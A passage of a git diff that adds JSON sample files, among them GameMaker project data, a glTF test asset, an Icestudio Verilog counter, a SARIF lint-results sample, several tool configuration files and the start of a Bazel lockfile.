+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "556893b0-c414-45f4-b592-5ae7021b4e74",
+            "Value": {
+                "id": "aec12608-534e-4e2c-ad54-c3996c929309",
+                "resourcePath": "objects\\depthsorter\\depthsorter.yy",
+                "resourceType": "GMObject"
+            }
+        },
+        {
+            "Key": "583b7bc3-11a0-419c-8028-17f69745ce53",
+            "Value": {
+                "id": "f6fd0fc5-a491-4c44-b798-e69b3ff043f7",
+                "resourcePath": "sprites\\spr_knight\\spr_knight.yy",
+                "resourceType": "GMSprite"
+            }
+        },
+        {
+            "Key": "5fd06095-db49-460e-9954-34d8113518c0",
+            "Value": {
+                "id": "043b6ae1-c67b-4478-8d4a-98c54da49c59",
+                "resourcePath": "views\\5fd06095-db49-460e-9954-34d8113518c0.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "62e5c66d-8c36-4bc8-af71-c4119d077b56",
+            "Value": {
+                "id": "57e7a582-a710-4c41-9549-aa504dc9b2b0",
+                "resourcePath": "sprites\\spr_player_idle\\spr_player_idle.yy",
+                "resourceType": "GMSprite"
+            }
+        },
+        {
+            "Key": "638c7030-5359-4b3c-8e90-60cb3fcb9704",
+            "Value": {
+                "id": "60e7c880-7135-4f49-adb6-92520a22ca65",
+                "resourcePath": "objects\\obj_greentree\\obj_greentree.yy",
+                "resourceType": "GMObject"
+            }
+        },
+        {
+            "Key": "78fc92d3-2675-43e1-a794-30066b3aea37",
+            "Value": {
+                "id": "7b9e43bd-7dbc-4b55-b3a5-88176788511a",
+                "resourcePath": "objects\\obj_knight\\obj_knight.yy",
+                "resourceType": "GMObject"
+            }
+        },
+        {
+            "Key": "82f217a6-9373-47d2-85d9-14ce23a512a0",
+            "Value": {
+                "id": "bf7cdb17-ee68-4006-b102-afa68538dd7e",
+                "resourcePath": "views\\82f217a6-9373-47d2-85d9-14ce23a512a0.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "83d63ce4-d03f-444b-b478-522ad5b314a9",
+            "Value": {
+                "id": "a927ec72-d381-4816-9d70-c9b78f3e9eb0",
+                "resourcePath": "views\\83d63ce4-d03f-444b-b478-522ad5b314a9.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "8a96eadc-2360-466a-ae4a-7a71b1cfda17",
+            "Value": {
+                "id": "f5608dcf-9a81-490d-9373-fa59fc44fdbf",
+                "resourcePath": "tilesets\\tileset_1\\tileset_1.yy",
+                "resourceType": "GMTileSet"
+            }
+        },
+        {
+            "Key": "8df8cbdc-c273-479a-83c9-496f2e62d294",
+            "Value": {
+                "id": "a74e5eb9-978f-47f3-aa50-20b7a3fa9baa",
+                "resourcePath": "views\\8df8cbdc-c273-479a-83c9-496f2e62d294.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "9c35e2b5-ef9d-468c-8d88-8e8636785ca0",
+            "Value": {
+                "id": "fe440907-a939-4974-83aa-853900a43472",
+                "resourcePath": "views\\9c35e2b5-ef9d-468c-8d88-8e8636785ca0.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "a09f41cd-a4f3-4818-9942-6c258e8a0b0e",
+            "Value": {
+                "id": "ae291c5c-f27e-44a2-a6a7-8192ba7a8297",
+                "resourcePath": "views\\a09f41cd-a4f3-4818-9942-6c258e8a0b0e.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "a9188620-a624-4a5a-83ae-a1b53faf038b",
+            "Value": {
+                "id": "3a6a5b33-9543-4fad-922d-403ffb3e8fa2",
+                "resourcePath": "options\\linux\\options_linux.yy",
+                "resourceType": "GMLinuxOptions"
+            }
+        },
+        {
+            "Key": "a9c4bc40-93a0-4449-a951-9bfc82428101",
+            "Value": {
+                "id": "6b8e239a-9414-498c-85ae-23d5f8c1cb90",
+                "resourcePath": "objects\\obj_collision\\obj_collision.yy",
+                "resourceType": "GMObject"
+            }
+        },
+        {
+            "Key": "aa4ccde8-d128-4dfe-a243-5efe2da9ff0d",
+            "Value": {
+                "id": "41ccb1a0-cf8e-4b28-a1fb-ce53f209bcd0",
+                "resourcePath": "views\\aa4ccde8-d128-4dfe-a243-5efe2da9ff0d.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "ac913661-4852-4ce1-89ce-3a031aed6119",
+            "Value": {
+                "id": "09ddc355-efe1-4b77-9431-3bc87009e880",
+                "resourcePath": "sprites\\spr_tileset1\\spr_tileset1.yy",
+                "resourceType": "GMSprite"
+            }
+        },
+        {
+            "Key": "acfe2407-bee7-4ce9-ac58-d3327085f21b",
+            "Value": {
+                "id": "201500e6-154c-4c05-8221-57fdd65f74e7",
+                "resourcePath": "sprites\\spr_player\\spr_player.yy",
+                "resourceType": "GMSprite"
+            }
+        },
+        {
+            "Key": "af01d96e-a301-41cc-9c82-eb60af19cbae",
+            "Value": {
+                "id": "34f0d902-d0aa-4ab8-8d02-9d91150b816c",
+                "resourcePath": "views\\af01d96e-a301-41cc-9c82-eb60af19cbae.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "b4fe38c4-c338-4d32-b85f-1b41d9a2446d",
+            "Value": {
+                "id": "ae19ee11-6b01-4f2b-8f55-adf5cb081961",
+                "resourcePath": "sprites\\spr_collision\\spr_collision.yy",
+                "resourceType": "GMSprite"
+            }
+        },
+        {
+            "Key": "b68cebe1-d0fa-44ed-8a26-595c2885a1fc",
+            "Value": {
+                "id": "1f6a859b-68fa-4564-bcb6-1fe387319eb4",
+                "resourcePath": "views\\b68cebe1-d0fa-44ed-8a26-595c2885a1fc.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "bd8b3db8-e5e6-44f1-bfcf-45d3242a0122",
+            "Value": {
+                "id": "4450def6-f270-4dd7-8896-c9d8ac34be9b",
+                "resourcePath": "sprites\\spr_scout\\spr_scout.yy",
+                "resourceType": "GMSprite"
+            }
+        },
+        {
+            "Key": "bffbcd96-a8c7-431f-af4f-7f66e8f84189",
+            "Value": {
+                "id": "bfee4d13-6e16-41f6-9fb7-095126af6fcd",
+                "resourcePath": "rooms\\rm_1\\rm_1.yy",
+                "resourceType": "GMRoom"
+            }
+        },
+        {
+            "Key": "cc3b80a7-5d09-4bea-b9c8-b093f1b244c8",
+            "Value": {
+                "id": "ac219fd8-ba00-4bff-857c-93d7cdb409c8",
+                "resourcePath": "views\\cc3b80a7-5d09-4bea-b9c8-b093f1b244c8.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "cc98d028-7bdd-4680-85f3-c87a7baa481e",
+            "Value": {
+                "id": "a84e7ce1-a928-4a86-bd79-8355f266e12e",
+                "resourcePath": "options\\windows\\options_windows.yy",
+                "resourceType": "GMWindowsOptions"
+            }
+        },
+        {
+            "Key": "d3e83dba-5be8-436f-866d-9a5a2120adb1",
+            "Value": {
+                "id": "ca2f0120-77ec-4bb4-8b0b-c12af28e2db0",
+                "resourcePath": "views\\d3e83dba-5be8-436f-866d-9a5a2120adb1.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "d74cdac8-2717-46a5-a8ed-5f732e02a268",
+            "Value": {
+                "id": "3b26d2bb-6a56-4a30-9c5a-47c3bcc83bb9",
+                "resourcePath": "views\\d74cdac8-2717-46a5-a8ed-5f732e02a268.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "e3e41b8b-b981-42ce-aab7-e6265764c7a8",
+            "Value": {
+                "id": "a24e4fd7-f4da-4da0-aff1-da1bb864c0b4",
+                "resourcePath": "views\\e3e41b8b-b981-42ce-aab7-e6265764c7a8.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "f1fbb653-bca3-4725-9e81-6a3556760d0c",
+            "Value": {
+                "id": "76dcd643-64fe-49d6-83ff-e15184b56150",
+                "resourcePath": "objects\\obj_scout\\obj_scout.yy",
+                "resourceType": "GMObject"
+            }
+        },
+        {
+            "Key": "f418569b-3bdd-4706-a0e4-364317f54032",
+            "Value": {
+                "id": "1292899d-f280-4f75-93b4-b2ad6099dd3d",
+                "resourcePath": "options\\mac\\options_mac.yy",
+                "resourceType": "GMMacOptions"
+            }
+        },
+        {
+            "Key": "f48fa589-53e5-4ce0-a010-c16b38192e31",
+            "Value": {
+                "id": "e950beb0-3503-4c3d-9cb9-8743c91d7c94",
+                "resourcePath": "views\\f48fa589-53e5-4ce0-a010-c16b38192e31.yy",
+                "resourceType": "GMFolder"
+            }
+        },
+        {
+            "Key": "fd46d5b1-fe49-4ecf-b809-0a2449808fbe",
+            "Value": {
+                "id": "09d46108-701a-4592-906f-bcb479008507",
+                "resourcePath": "sprites\\spr_tree\\spr_tree.yy",
+                "resourceType": "GMSprite"
+            }
+        }
+    ],
+    "script_order": [
+        
+    ],
+    "tutorial": ""
+}
\ No newline at end of file
diff --git a/samples/JSON/Material_Alpha_01.gltf b/samples/JSON/Material_Alpha_01.gltf
new file mode 100644
index 0000000000..677f8fa049
--- /dev/null
+++ b/samples/JSON/Material_Alpha_01.gltf
@@ -0,0 +1,136 @@
+{
+	"accessors": [
+		{
+			"bufferView": 0,
+			"componentType": 5126,
+			"count": 4,
+			"type": "VEC3",
+			"max": [
+				0.5,
+				0.5,
+				0.0
+			],
+			"min": [
+				-0.5,
+				-0.5,
+				0.0
+			],
+			"name": "Positions Accessor"
+		},
+		{
+			"bufferView": 1,
+			"componentType": 5126,
+			"count": 4,
+			"type": "VEC4",
+			"name": "Colors Accessor"
+		},
+		{
+			"bufferView": 2,
+			"componentType": 5126,
+			"count": 4,
+			"type": "VEC2",
+			"name": "UV Accessor 0"
+		},
+		{
+			"bufferView": 3,
+			"componentType": 5125,
+			"count": 6,
+			"type": "SCALAR",
+			"name": "Indices Accessor"
+		}
+	],
+	"asset": {
+		"generator": "glTF Asset Generator",
+		"version": "2.0",
+		"extras": {
+			"Attributes": "VertexColor_Vector4_Float - AlphaMode_Mask - AlphaCutoff - DoubleSided - BaseColorFactor - BaseColorTexture"
+		}
+	},
+	"buffers": [
+		{
+			"uri": "Material_Alpha_01.bin",
+			"byteLength": 168
+		}
+	],
+	"bufferViews": [
+		{
+			"buffer": 0,
+			"byteLength": 48,
+			"name": "Positions"
+		},
+		{
+			"buffer": 0,
+			"byteOffset": 48,
+			"byteLength": 64,
+			"name": "Colors"
+		},
+		{
+			"buffer": 0,
+			"byteOffset": 112,
+			"byteLength": 32,
+			"name": "Texture Coords 0"
+		},
+		{
+			"buffer": 0,
+			"byteOffset": 144,
+			"byteLength": 24,
+			"name": "Indices"
+		}
+	],
+	"images": [
+		{
+			"uri": "Texture_baseColor.png"
+		}
+	],
+	"materials": [
+		{
+			"pbrMetallicRoughness": {
+				"baseColorFactor": [
+					1.0,
+					1.0,
+					1.0,
+					0.6
+				],
+				"baseColorTexture": {
+					"index": 0
+				}
+			},
+			"alphaMode": "MASK",
+			"alphaCutoff": 0.7,
+			"doubleSided": true
+		}
+	],
+	"meshes": [
+		{
+			"primitives": [
+				{
+					"attributes": {
+						"POSITION": 0,
+						"COLOR_0": 1,
+						"TEXCOORD_0": 2
+					},
+					"indices": 3,
+					"material": 0
+				}
+			]
+		}
+	],
+	"nodes": [
+		{
+			"mesh": 0
+		}
+	],
+	"scene": 0,
+	"scenes": [
+		{
+			"nodes": [
+				0
+			]
+		}
+	],
+	"textures": [
+		{
+			"source": 0
+		}
+	]
+}
\ No newline at end of file
diff --git a/samples/JSON/VCT.yy b/samples/JSON/VCT.yy
new file mode 100644
index 0000000000..2a2bb0ab13
--- /dev/null
+++ b/samples/JSON/VCT.yy
@@ -0,0 +1,13 @@
+{
+  "$GMScript":"v1",
+  "%Name":"VCT",
+  "isCompatibility":false,
+  "isDnD":false,
+  "name":"VCT",
+  "parent":{
+    "name":"VCT",
+    "path":"folders/VCT.yy",
+  },
+  "resourceType":"GMScript",
+  "resourceVersion":"2.0",
+}
\ No newline at end of file
diff --git a/samples/JSON/block-sync-counter8.ice b/samples/JSON/block-sync-counter8.ice
new file mode 100644
index 0000000000..d1036fa8ef
--- /dev/null
+++ b/samples/JSON/block-sync-counter8.ice
@@ -0,0 +1,245 @@
+{
+  "version": "1.2",
+  "package": {
+    "name": "counter8",
+    "version": "1.0",
+    "description": "",
+    "author": "",
+    "image": ""
+  },
+  "design": {
+    "board": "iCEBreaker",
+    "graph": {
+      "blocks": [
+        {
+          "id": "3fe27a7f-50fc-41d7-a2a1-ad9f796d483e",
+          "type": "basic.input",
+          "data": {
+            "name": "clk",
+            "pins": [
+              {
+                "index": "0",
+                "name": "",
+                "value": ""
+              }
+            ],
+            "virtual": true,
+            "clock": true
+          },
+          "position": {
+            "x": 96,
+            "y": 104
+          }
+        },
+        {
+          "id": "e7174473-3686-41ee-8894-3fc87bd156d0",
+          "type": "basic.input",
+          "data": {
+            "name": "up",
+            "pins": [
+              {
+                "index": "0",
+                "name": "",
+                "value": ""
+              }
+            ],
+            "virtual": true,
+            "clock": false
+          },
+          "position": {
+            "x": 72,
+            "y": 192
+          }
+        },
+        {
+          "id": "630ec8a5-a44b-42a8-9e0b-e75b4e21cc22",
+          "type": "basic.output",
+          "data": {
+            "name": "value",
+            "range": "[7:0]",
+            "pins": [
+              {
+                "index": "7",
+                "name": "",
+                "value": ""
+              },
+              {
+                "index": "6",
+                "name": "",
+                "value": ""
+              },
+              {
+                "index": "5",
+                "name": "",
+                "value": ""
+              },
+              {
+                "index": "4",
+                "name": "",
+                "value": ""
+              },
+              {
+                "index": "3",
+                "name": "",
+                "value": ""
+              },
+              {
+                "index": "2",
+                "name": "",
+                "value": ""
+              },
+              {
+                "index": "1",
+                "name": "",
+                "value": ""
+              },
+              {
+                "index": "0",
+                "name": "",
+                "value": ""
+              }
+            ],
+            "virtual": true
+          },
+          "position": {
+            "x": 680,
+            "y": 264
+          }
+        },
+        {
+          "id": "407c5757-e32a-4624-b30a-6e0b843d378d",
+          "type": "basic.input",
+          "data": {
+            "name": "down",
+            "pins": [
+              {
+                "index": "0",
+                "name": "",
+                "value": ""
+              }
+            ],
+            "virtual": true,
+            "clock": false
+          },
+          "position": {
+            "x": 64,
+            "y": 288
+          }
+        },
+        {
+          "id": "371d2121-6c35-430b-8213-cabae1486eb1",
+          "type": "basic.input",
+          "data": {
+            "name": "reset",
+            "pins": [
+              {
+                "index": "0",
+                "name": "",
+                "value": ""
+              }
+            ],
+            "virtual": true,
+            "clock": false
+          },
+          "position": {
+            "x": 80,
+            "y": 400
+          }
+        },
+        {
+          "id": "a22dd85b-90a8-44e1-b84b-5a3e58f652d4",
+          "type": "basic.code",
+          "data": {
+            "code": "reg[7:0] value = 0;\n\nalways @(posedge clk)\n    if (reset)\n        value <= 0;\n    else if (up && !down)\n        value <= value + 1;\n    else if (down && !up)\n        value <= value - 1;\n\n        ",
+            "params": [],
+            "ports": {
+              "in": [
+                {
+                  "name": "clk"
+                },
+                {
+                  "name": "up"
+                },
+                {
+                  "name": "down"
+                },
+                {
+                  "name": "reset"
+                }
+              ],
+              "out": [
+                {
+                  "name": "value",
+                  "range": "[7:0]",
+                  "size": 8
+                }
+              ]
+            }
+          },
+          "position": {
+            "x": 256,
+            "y": 168
+          },
+          "size": {
+            "width": 320,
+            "height": 248
+          }
+        }
+      ],
+      "wires": [
+        {
+          "source": {
+            "block": "a22dd85b-90a8-44e1-b84b-5a3e58f652d4",
+            "port": "value"
+          },
+          "target": {
+            "block": "630ec8a5-a44b-42a8-9e0b-e75b4e21cc22",
+            "port": "in"
+          },
+          "size": 8
+        },
+        {
+          "source": {
+            "block": "3fe27a7f-50fc-41d7-a2a1-ad9f796d483e",
+            "port": "out"
+          },
+          "target": {
+            "block": "a22dd85b-90a8-44e1-b84b-5a3e58f652d4",
+            "port": "clk"
+          }
+        },
+        {
+          "source": {
+            "block": "e7174473-3686-41ee-8894-3fc87bd156d0",
+            "port": "out"
+          },
+          "target": {
+            "block": "a22dd85b-90a8-44e1-b84b-5a3e58f652d4",
+            "port": "up"
+          }
+        },
+        {
+          "source": {
+            "block": "407c5757-e32a-4624-b30a-6e0b843d378d",
+            "port": "out"
+          },
+          "target": {
+            "block": "a22dd85b-90a8-44e1-b84b-5a3e58f652d4",
+            "port": "down"
+          }
+        },
+        {
+          "source": {
+            "block": "371d2121-6c35-430b-8213-cabae1486eb1",
+            "port": "out"
+          },
+          "target": {
+            "block": "a22dd85b-90a8-44e1-b84b-5a3e58f652d4",
+            "port": "reset"
+          }
+        }
+      ]
+    }
+  },
+  "dependencies": {}
+}
\ No newline at end of file
diff --git a/samples/JSON/code-scanning.sarif b/samples/JSON/code-scanning.sarif
new file mode 100644
index 0000000000..4f04cea60c
--- /dev/null
+++ b/samples/JSON/code-scanning.sarif
@@ -0,0 +1,250 @@
+{
+  "$schema": "https://json.schemastore.org/sarif-2.1.0.json",
+  "version": "2.1.0",
+  "runs": [
+    {
+      "tool": {
+        "driver": {
+          "name": "Tool Name",
+          "semanticVersion": "2.0.0",
+          "rules": [
+            {
+              "id": "3f292041e51d22005ce48f39df3585d44ce1b0ad",
+              "name": "js/unused-local-variable",
+              "shortDescription": {
+                "text": "Unused variable, import, function or class"
+              },
+              "fullDescription": {
+                "text": "Unused variables, imports, functions or classes may be a symptom of a bug and should be examined carefully."
+              },
+              "defaultConfiguration": {
+                "level": "note"
+              },
+              "properties": {
+                "tags": [
+                  "maintainability"
+                ],
+                "precision": "very-high"
+              }
+            },
+            {
+              "id": "d5b664aefd5ca4b21b52fdc1d744d7d6ab6886d0",
+              "name": "js/inconsistent-use-of-new",
+              "shortDescription": {
+                "text": "Inconsistent use of 'new'"
+              },
+              "fullDescription": {
+                "text": "If a function is intended to be a constructor, it should always be invoked with 'new'. Otherwise, it should always be invoked as a normal function, that is, without 'new'."
+              },
+              "properties": {
+                "tags": [
+                  "reliability",
+                  "correctness",
+                  "language-features"
+                ],
+                "precision": "very-high"
+              }
+            },
+            {
+              "id": "R01"
+            }
+          ]
+        }
+      },
+      "automationDetails": {
+        "id": "my-category/"
+      },
+      "results": [
+        {
+          "ruleId": "3f292041e51d22005ce48f39df3585d44ce1b0ad",
+          "ruleIndex": 0,
+          "message": {
+            "text": "Unused variable foo."
+          },
+          "locations": [
+            {
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "main.js",
+                  "uriBaseId": "%SRCROOT%"
+                },
+                "region": {
+                  "startLine": 2,
+                  "startColumn": 7,
+                  "endColumn": 10
+                }
+              }
+            }
+          ],
+          "partialFingerprints": {
+            "primaryLocationLineHash": "39fa2ee980eb94b0:1",
+            "primaryLocationStartColumnFingerprint": "4"
+          }
+        },
+        {
+          "ruleId": "d5b664aefd5ca4b21b52fdc1d744d7d6ab6886d0",
+          "ruleIndex": 1,
+          "message": {
+            "text": "Function resolvingPromise is sometimes invoked as a constructor (for example [here](1)), and sometimes as a normal function (for example [here](2))."
+          },
+          "locations": [
+            {
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "src/promises.js",
+                  "uriBaseId": "%SRCROOT%"
+                },
+                "region": {
+                  "startLine": 2
+                }
+              }
+            }
+          ],
+          "partialFingerprints": {
+            "primaryLocationLineHash": "5061c3315a741b7d:1",
+            "primaryLocationStartColumnFingerprint": "7"
+          },
+          "relatedLocations": [
+            {
+              "id": 1,
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "src/ParseObject.js",
+                  "uriBaseId": "%SRCROOT%"
+                },
+                "region": {
+                  "startLine": 2281,
+                  "startColumn": 33,
+                  "endColumn": 55
+                }
+              },
+              "message": {
+                "text": "here"
+              }
+            },
+            {
+              "id": 2,
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "src/LiveQueryClient.js",
+                  "uriBaseId": "%SRCROOT%"
+                },
+                "region": {
+                  "startLine": 166
+                }
+              },
+              "message": {
+                "text": "here"
+              }
+            }
+          ]
+        },
+        {
+          "ruleId": "R01",
+          "message": {
+            "text": "Specifying both [ruleIndex](1) and [ruleID](2) might lead to inconsistencies."
+          },
+          "level": "error",
+          "locations": [
+            {
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "full.sarif",
+                  "uriBaseId": "%SRCROOT%"
+                },
+                "region": {
+                  "startLine": 54,
+                  "startColumn": 10,
+                  "endLine": 55,
+                  "endColumn": 25
+                }
+              }
+            }
+          ],
+          "relatedLocations": [
+            {
+              "id": 1,
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "full.sarif"
+                },
+                "region": {
+                  "startLine": 81,
+                  "startColumn": 10,
+                  "endColumn": 18
+                }
+              },
+              "message": {
+                "text": "here"
+              }
+            },
+            {
+              "id": 2,
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "full.sarif"
+                },
+                "region": {
+                  "startLine": 82,
+                  "startColumn": 10,
+                  "endColumn": 21
+                }
+              },
+              "message": {
+                "text": "here"
+              }
+            }
+          ],
+          "codeFlows": [
+            {
+              "threadFlows": [
+                {
+                  "locations": [
+                    {
+                      "location": {
+                        "physicalLocation": {
+                          "region": {
+                            "startLine": 11,
+                            "endLine": 29,
+                            "startColumn": 10,
+                            "endColumn": 18
+                          },
+                          "artifactLocation": {
+                            "uriBaseId": "%SRCROOT%",
+                            "uri": "full.sarif"
+                          }
+                        },
+                        "message": {
+                          "text": "Rule has index 0"
+                        }
+                      }
+                    },
+                    {
+                      "location": {
+                        "physicalLocation": {
+                          "region": {
+                            "endColumn": 47,
+                            "startColumn": 12,
+                            "startLine": 12
+                          },
+                          "artifactLocation": {
+                            "uriBaseId": "%SRCROOT%",
+                            "uri": "full.sarif"
+                          }
+                        }
+                      }
+                    }
+                  ]
+                }
+              ]
+            }
+          ],
+          "partialFingerprints": {
+            "primaryLocationLineHash": "ABC:2"
+          }
+        }
+      ],
+      "columnKind": "utf16CodeUnits"
+    }
+  ]
+}
diff --git a/samples/JSON/filenames/.all-contributorsrc b/samples/JSON/filenames/.all-contributorsrc
new file mode 100644
index 0000000000..ce1e67a6da
--- /dev/null
+++ b/samples/JSON/filenames/.all-contributorsrc
@@ -0,0 +1,52 @@
+{
+  "projectName": "all-contributors",
+  "projectOwner": "all-contributors",
+  "files": [
+    "README.md"
+  ],
+  "imageSize": 100,
+  "contributors": [
+    {
+      "login": "kentcdodds",
+      "name": "Kent C. Dodds",
+      "avatar_url": "https://avatars.githubusercontent.com/u/1500684?v=3",
+      "profile": "https://kentcdodds.com",
+      "contributions": [
+        "question",
+        "doc",
+        "review",
+        "talk"
+      ]
+    },
+    {
+      "login": "jfmengels",
+      "name": "Jeroen Engels",
+      "avatar_url": "https://avatars.githubusercontent.com/u/3869412?v=3",
+      "profile": "https://github.com/jfmengels",
+      "contributions": [
+        "doc",
+        "review",
+        "tool"
+      ]
+    },
+    {
+      "login": "jakebolam",
+      "name": "Jake Bolam",
+      "avatar_url": "https://avatars2.githubusercontent.com/u/3534236?v=4",
+      "profile": "https://jakebolam.com",
+      "contributions": [
+        "doc",
+        "tool",
+        "infra",
+        "maintenance",
+        "review",
+        "question"
+      ]
+    }
+  ],
+  "repoType": "github",
+  "contributorsPerLine": 7,
+  "repoHost": "https://github.com",
+  "commitConvention": "angular",
+  "skipCi": true
+}
diff --git a/samples/JSON/filenames/.htmlhintrc b/samples/JSON/filenames/.htmlhintrc
new file mode 100644
index 0000000000..2a9cc05bfa
--- /dev/null
+++ b/samples/JSON/filenames/.htmlhintrc
@@ -0,0 +1,25 @@
+{
+	"alt-require": true,
+	"attr-lowercase": true,
+	"attr-no-duplication": true,
+	"attr-unsafe-chars": true,
+	"attr-value-double-quotes": true,
+	"attr-value-not-empty": false,
+	"doctype-first": true,
+	"doctype-html5": true,
+	"head-script-disabled": false,
+	"href-abs-or-rel": false,
+	"id-class-ad-disabled": true,
+	"id-class-value": false,
+	"id-unique": true,
+	"inline-script-disabled": true,
+	"inline-style-disabled": true,
+	"space-tab-mixed-disabled": "space",
+	"spec-char-escape": true,
+	"src-not-empty": true,
+	"style-disabled": false,
+	"tag-pair": true,
+	"tag-self-close": false,
+	"tagname-lowercase": true,
+	"title-require": true
+}
diff --git a/samples/JSON/filenames/.imgbotconfig b/samples/JSON/filenames/.imgbotconfig
new file mode 100644
index 0000000000..40a676a1ac
--- /dev/null
+++ b/samples/JSON/filenames/.imgbotconfig
@@ -0,0 +1,10 @@
+{
+  "schedule": "weekly",
+  "ignoredFiles": [
+    "*.svg",
+    "raw/*",
+    "public/assets/*"
+  ],
+  "minKBReduced": 200,
+  "aggressiveCompression": "false"
+}
diff --git a/samples/JSON/filenames/.tern-config b/samples/JSON/filenames/.tern-config
new file mode 100644
index 0000000000..4ab1894242
--- /dev/null
+++ b/samples/JSON/filenames/.tern-config
@@ -0,0 +1,19 @@
+{
+	"ecmaVersion": 6,
+	"libs": [
+		"browser",
+		"jquery"
+	],
+	"dontLoad": [
+		"node_modules/**"
+	],
+	"plugins": {
+		"es_modules": {},
+		"node": {},
+		"angular": {},
+		"doc_comment": {
+			"fullDocs": true,
+			"strong": true
+		}
+	}
+}
diff --git a/samples/JSON/filenames/.tern-project b/samples/JSON/filenames/.tern-project
new file mode 100644
index 0000000000..e5b0338c98
--- /dev/null
+++ b/samples/JSON/filenames/.tern-project
@@ -0,0 +1,15 @@
+{
+	"ecmaVersion": 6,
+	"libs": [],
+	"loadEagerly": [
+		"src/app/**/*.js"
+	],
+	"dontLoad": [
+		"node_modules"
+	],
+	"plugins": {
+		"requirejs": {
+			"baseURL": "src"
+		}
+	}
+}
diff --git a/samples/JSON/filenames/.watchmanconfig b/samples/JSON/filenames/.watchmanconfig
new file mode 100644
index 0000000000..ddeb6db35c
--- /dev/null
+++ b/samples/JSON/filenames/.watchmanconfig
@@ -0,0 +1,10 @@
+{
+	"ignore_dirs": [
+		"buck-out",
+		".idea",
+		".buckd",
+		"ant-out",
+		"test/com/facebook/buck/testutil/integration/testlibs/buck-out",
+		"test/com/facebook/buck/testutil/integration/testlibs/.buckd"
+	]
+}
diff --git a/samples/JSON/filenames/MODULE.bazel.lock b/samples/JSON/filenames/MODULE.bazel.lock
new file mode 100644
index 0000000000..7b6b0930b2
--- /dev/null
+++ b/samples/JSON/filenames/MODULE.bazel.lock
@@ -0,0 +1,354 @@
+{
+  "lockFileVersion": 6,
+  "moduleFileHash": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
+  "flags": {
+    "cmdRegistries": [
+      "https://bcr.bazel.build/"
+    ],
+    "cmdModuleOverrides": {},
+    "allowedYankedVersions": [],
+    "envVarAllowedYankedVersions": "",
+    "ignoreDevDependency": false,
+    "directDependenciesMode": "WARNING",
+    "compatibilityMode": "ERROR"
+  },
+  "localOverrideHashes": {
+    "bazel_tools": "1ae69322ac3823527337acf02016e8ee95813d8d356f47060255b8956fa642f0"
+  },
+  "moduleDepGraph": {
+    "<root>": {
+      "name": "",
+      "version": "",
+      "key": "<root>",
+      "repoName": "",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [],
+      "extensionUsages": [],
+      "deps": {
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "bazel_tools@_": {
+      "name": "bazel_tools",
+      "version": "",
+      "key": "bazel_tools@_",
+      "repoName": "bazel_tools",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [
+        "@local_config_cc_toolchains//:all",
+        "@local_config_sh//:local_sh_toolchain"
+      ],
+      "extensionUsages": [],
+      "deps": {
+        "rules_cc": "rules_cc@0.0.9",
+        "rules_java": "rules_java@7.4.0",
+        "rules_license": "rules_license@0.0.7",
+        "rules_proto": "rules_proto@5.3.0-21.7",
+        "rules_python": "rules_python@0.22.1",
+        "buildozer": "buildozer@6.4.0.2",
+        "platforms": "platforms@0.0.7",
+        "com_google_protobuf": "protobuf@21.7",
+        "zlib": "zlib@1.3",
+        "build_bazel_apple_support": "apple_support@1.5.0",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "local_config_platform@_": {
+      "name": "local_config_platform",
+      "version": "",
+      "key": "local_config_platform@_",
+      "repoName": "local_config_platform",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [],
+      "extensionUsages": [],
+      "deps": {
+        "platforms": "platforms@0.0.7",
+        "bazel_tools": "bazel_tools@_"
+      }
+    },
+    "rules_cc@0.0.9": {
+      "name": "rules_cc",
+      "version": "0.0.9",
+      "key": "rules_cc@0.0.9",
+      "repoName": "rules_cc",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [
+        "@local_config_cc_toolchains//:all"
+      ],
+      "extensionUsages": [],
+      "deps": {
+        "platforms": "platforms@0.0.7",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "rules_java@7.4.0": {
+      "name": "rules_java",
+      "version": "7.4.0",
+      "key": "rules_java@7.4.0",
+      "repoName": "rules_java",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [
+        "//toolchains:all",
+        "@local_jdk//:runtime_toolchain_definition",
+        "@local_jdk//:bootstrap_runtime_toolchain_definition",
+        "@remotejdk21_linux_toolchain_config_repo//:all"
+      ],
+      "extensionUsages": [],
+      "deps": {
+        "platforms": "platforms@0.0.7",
+        "rules_cc": "rules_cc@0.0.9",
+        "bazel_skylib": "bazel_skylib@1.3.0",
+        "rules_proto": "rules_proto@5.3.0-21.7",
+        "rules_license": "rules_license@0.0.7",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "rules_license@0.0.7": {
+      "name": "rules_license",
+      "version": "0.0.7",
+      "key": "rules_license@0.0.7",
+      "repoName": "rules_license",
+      "executionPlatformsToRegister": [],
